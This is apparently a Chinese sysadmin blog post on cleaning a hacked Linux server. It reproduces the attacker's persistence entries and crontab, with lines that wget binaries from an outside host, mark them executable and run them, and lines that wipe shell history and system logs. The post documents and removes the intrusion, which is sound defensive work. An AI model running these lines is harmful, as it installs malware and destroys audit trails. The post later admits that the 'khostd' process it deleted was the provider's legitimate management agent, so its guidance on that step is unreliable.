密陀僧博客 记录生活日常,技术随笔

服务器被黑客加入恶意攻击程序

先是最近几天每天下午服务器带宽占用莫名增高。重启web服务后问题消失,以为是针对网站的cc攻击。接下来昨天下午网站继续出来访问故障,查看服务器出站流量情况正常,cpu增高到100%。重启web服务后cpu恢复正常。万网工程师建议使用iptraf检查服务器流量情况。使用iptraf -i eth0发现服务器发送大量内网udp包。检查服务器开放端口发现iptables规则新开放了9001和3001两个端口。遂关闭这2个端口。使用netstat -apn查看端口9001占用进程为一个名为khostd的程序。检查/etc/rc.d/rc.local,发现被加入了

nohup /etc/cupsddd > /dev/null 2>&1&
cd /etc;./ksapdd
cd /etc;./kysapdd
cd /etc;./atddd
cd /etc;./ksapdd
cd /etc;./skysapdd
cd /etc;./xfsdxd

检查etc目录,发现存在cupsddd,ksapdd,kysapdd文件。

查找ksapdd文件,在/usr/src/virusfile下看到一堆文件

atddd  cupsddd  ksapdd  kysapdd  sksapdd  skysapdd  xfsdxd

检查/etc/rc1.d,rc2.d,rc3.d,rc4.d,rc5.d,存在异常软连接

lrwxrwxrwx 1 root root 25 02-09 20:08  S97DbSecuritySpt /etc/init.d/DbSecuritySpt

使用

more  /etc/init.d/DbSecuritySpt

查看到该文件执行以下命令

#!/bin/bash
/etc/cupsdd

服务器异常情况追溯完毕,删除异常文件,删除异常启动项

chkconfig --del cups

重启服务器。

发现etc目录刚才删除的文件再次出现,cupsadd,khostd进程依然存在,查看crontab,发现如下异常

*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 cupsdd
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/1 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg
*/1 * * * * cd /var/log > auth.log
*/1 * * * * cd /var/log > alternatives.log
*/1 * * * * cd /var/log > boot.log
*/1 * * * * cd /var/log > btmp
*/1 * * * * cd /var/log > cron
*/1 * * * * cd /var/log > cups
*/1 * * * * cd /var/log > daemon.log
*/1 * * * * cd /var/log > dpkg.log
*/1 * * * * cd /var/log > faillog
*/1 * * * * cd /var/log > kern.log
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog
*/1 * * * * cd /var/log > user.log
*/1 * * * * cd /var/log > Xorg.x.log
*/1 * * * * cd /var/log > anaconda.log
*/1 * * * * cd /var/log > yum.log
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c

打开/etc/cron.daily文件夹,发现存在cups

e../
0anacron*
0logwatch@
cups*
freshclam*
hichina*
logrotate*
makewhatis.cron*
mlocate.cron*
prelink*
rpm*
tmpwatch*

备份并清空crontab

cp /var/spool/cron/root /tmp/root echo "" > /var/spool/cron/root

杀掉进程

for i in $(ps -ef |egrep "ksapdd|kysapdd|atddd|ksapdd|skysapdd|xfsdxd|cupsdd|cupsddh" |grep -v grep|awk '{print $2}');do kill -9 $i;done
kill 2779
kill 2790(2779和2790为khostd对应的进程pid)

再重启,etc目录出现cups,cupsddh文件,khostd进程再次出现。

杀死khostd进程,删除/etc/cups,cupsddh文件。再重启。

cups相关文件不再出现,khostd继续出现。

使用ps -ef 得到进程id2765,ls -l /proc/2765 ,看到khostd的程序文件目录

lrwxrwxrwx 1 root root 0 05-30 12:14 exe /usr/lib/.khostd/khostd

执行rm -rf .khostd提示权限不够

chmod -R 777 .khostd提示不允许操作

需要对文件进行修改去掉禁止删除

chattr -i .khostd/
rm -rf .khostd

重启,khostd进程不再出现。

目前疑惑的是使用iptraf -i eth0查看服务器发包记录看到依然存在机房内网服务器间的大量udp通讯(非本机发送或接受,疑似本机发送过erp欺骗包,伪装成网关了?)。继续观察。


ps:6.1更新,经研究发现,9001端口khostd是万网云主机管理进程,不是黑客程序。

ps:6.3更新,该进程使用备份文件重新运行后,打开端口为9000,万网控制面板无法正常使用,参考http://blog.x2x4.net/html/268.html判断,可能备份文件时(使用tar -cf命令打包),漏掉.hostsconf文件,使用

bindport=9001
trustip=221.122.57.34,123.124.198.195,222.35.137.249,121.199.254.223,121.199.254.182,222.35.137.17,10.247.62.11,10.247.206.151,112.125.38.121,112.125.31.11,112.125.15.46,112.125.15.45,10.247.190.135heartserver=hcms.hichina.com
heartserver_port=3001
reportserver=hcms.hichina.com
reportserver_port=3001
version=Unix2.02

重建.hostsconf后执行khostd,依然打开的是9000端口。万网后台提交工单,万网工程师不愿意提供khostd的具体用法,建议初始化系统。由于配置环境比较费时,考虑khostd对应功能除了万网控制面板内的硬件信息查看,没有别的用途,倒像是一个权限极高的后门程序。遂就此作罢。


入侵原因待查。

本文部分操作受到以下文章帮助。

http://blog.sina.com.cn/s/blog_406127500101h3fu.html

http://iceshell.org/?p=175


作者:密陀僧 分类:IT技术 浏览:8210 评论:2
留言列表
访客
访客 最近我们服务器也被黑了,博主有时间的话加我qq:328786889,可以讨论下  回复
密陀僧
密陀僧 同样的原因?  回复
发表评论
来宾的头像